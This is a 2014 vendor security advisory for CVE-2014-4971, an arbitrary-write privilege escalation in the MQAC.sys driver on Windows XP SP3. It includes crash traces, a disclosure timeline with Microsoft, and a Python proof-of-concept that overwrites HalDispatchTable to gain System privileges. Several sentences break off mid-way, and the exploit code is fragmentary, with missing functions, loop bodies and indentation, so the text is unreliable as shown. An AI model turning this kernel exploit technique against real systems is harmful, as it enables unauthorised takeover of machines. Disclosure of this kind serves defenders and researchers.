Title: Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation
Advisory ID: KL-001-2014-003
Publication Date: 2014.07.18
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt
1. Vulnerability Details
Affected Vendor: Microsoft
Affected Product: MQ Access Control
Affected Versions: 188.8.131.520
Platform: Microsoft Windows XP SP3
CWE Classification: CWE-123: Write-what-where Condition
Impact: Privilege Escalation
Attack vector: IOCTL
CVE ID: CVE-2014-4971
2. Vulnerability Description
A vulnerability within the MQAC module allows an attacker to
inject memory they control into an arbitrary location they
define. This can be used by an attacker to overwrite
HalDispatchTable+0x4 and execute arbitrary code by subsequently
3. Technical Description
A userland process can create a handle into the MQAC device and
subsequently make DeviceIoControlFile() calls into that device.
During the IRP handler routine for 0x1965020f the user provided
OutputBuffer address is not validated. This allows an attacker
to specify an arbitrary address and write (or overwrite) the
memory residing at the specified address. This is classically
known as a write-what-where vulnerability and has well known
exploitation methods associated with it.
A stack trace from our fuzzing can be seen below. In our
fuzzing testcase, the specified OutputBuffer in the
DeviceIoControlFile() call is 0xffff0000.
b1c4594c 8051cc7f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b
b1c459ac 805405d4 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7
b1c459ac b230af37 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc
b1c45a68 b230c0a1 ffff0000 000000d3 0000000c mqac!AC2QM+0x5d
b1c45ab4 804ee129 81ebb558 82377e48 806d32d0 mqac!ACDeviceControl+0x16d
b1c45ac4 80574e56 82377eb8 82240510 82377e48 nt!IopfCallDriver+0x31
b1c45ad8 80575d11 81ebb558 82377e48 82240510 nt!IopSynchronousServiceTail+0x70
b1c45b80 8056e57c 000006a4 00000000 00000000 nt!IopXxxControlFile+0x5e7
b1c45bb4 b1aea17e 000006a4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
Reviewing the FOLLOWUP_IP value from the WinDBG '!analyze -v'
command shows the fault originating in the mqac driver.
b230af37 891e mov dword ptr [esi],ebx
Reviewing the TRAP_FRAME at the time of crash we can see
IopCompleteRequest() copying data from InputBuffer into the
OutputBuffer. InputBuffer is another parameter provided to the
DeviceIoControlFile() function and is therefore controllable by
the attacker. The edi register contains the invalid address
provided during the fuzz testcase.
TRAP_FRAME: b1c459c4 -- (.trap 0xffffffffb1c459c4)
ErrCode = 00000002
eax=b1c45a58 ebx=00000000 ecx=ffff0000 edx=82377e48 esi=ffff0000 edi=00000000
eip=b230af37 esp=b1c45a38 ebp=b1c45a68 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
b230af37 891e mov dword ptr [esi],ebx ds:0023:ffff0000=????????
A write-what-where vulnerability can be leveraged to obtain
escalated privileges. To do so, an attacker will need to
allocate memory in userland that is populated with shellcode
designed to find the Token for PID 4 (System) and then overwrite
the token for its own process. By leveraging the vulnerability
in MQAC it is then possible to overwrite the pointer at
HalDispatchTable+0x4 with a pointer to our shellcode. Calling
NtQueryIntervalProfile() will subsequently call
HalDispatchTable+0x4, execute our shellcode, and elevate the
privilege of the exploit process.
4. Mitigation and Remediation Recommendation
None. A patch is not likely to be forthcoming from the vendor.
This vulnerability was discovered by Matt Bergin of KoreLogic
6. Disclosure Timeline
2014.04.28 - Initial contact; sent Microsoft report and PoC.
2014.04.28 - Microsoft acknowledges receipt of vulnerability
report; states XP is no longer supported and asks if
the vulnerability affects other versions of Windows.
2014.04.29 - KoreLogic asks Microsoft for clarification of their
support policy for XP.
2014.04.29 - Microsoft says XP-only vulnerabilities will not be
addressed with patches.
2014.04.29 - KoreLogic asks if Microsoft intends to address the
2014.04.29 - Microsoft opens case to investigate the impact of the
vulnerability on non-XP systems.
2014.05.06 - Microsoft asks again if this vulnerability affects
2014.05.14 - KoreLogic informs Microsoft that the vulnerability
report is for XP and other Windows versions have
not been examined.
2014.06.11 - KoreLogic informs Microsoft that 30 business days
have passed since vendor acknowledgement of the
initial report. KoreLogic requests CVE number for the
vulnerability, if there is one. KoreLogic also
requests vendor's public identifier for the
vulnerability along with the expected disclosure date.
2014.06.11 - Microsoft responds to KoreLogic that the
vulnerability does not affect an "up-platform"
product. Says they are investigating embedded
platforms. Does not provide a CVE number or a
2014.06.30 - KoreLogic asks Microsoft for confirmation of their
receipt of the updated PoC. Also requests that
a CVE ID be issued to this vulnerability.
2014.07.02 - 45 business days have elapsed since Microsoft
acknowledged receipt of the vulnerability report and
2014.07.07 - KoreLogic requests CVE from MITRE.
2014.07.18 - MITRE deems this vulnerability (KL-001-2014-003) to
be identical to KL-001-2014-002 and issues
CVE-2014-4971 for both vulnerabilities.
2014.07.18 - Public disclosure.
7. Proof of Concept
# KL-001-2014-003 : Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation
# Matt Bergin (KoreLogic / Smash the Stack)
from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0
# thanks to offsec for the concept
# I re-wrote the code as to not fully insult them :)
retArray = c_ulong*1024
ImageBase = retArray()
callback = c_int(1024)
cbNeeded = c_long()
for base in ImageBase:
driverName = c_char_p("\x00"*1024)
if (driverName.value.lower() == name):
handle = CreateFileA("\\\\.\\MQAC",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
print "[+] Handle \\\\.\\MQAC @ %s" % (handle)
buf = "\x50\x00\x00\x00"+"\x90"*0x400
WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0)))
WriteProcessMemory(-1, 0x1, buf, 0x400, byref(c_int(0)))
WriteProcessMemory(-1, 0x5000, "\xcc", 77, byref(c_int(0)))
kBase,kVer = getBase()
hKernel = LoadLibraryExA(kVer,0,1)
HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += kBase
HalDispatchTable += 0x4
print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable))
print "[+] HalDispatchTable+0x4 overwritten"
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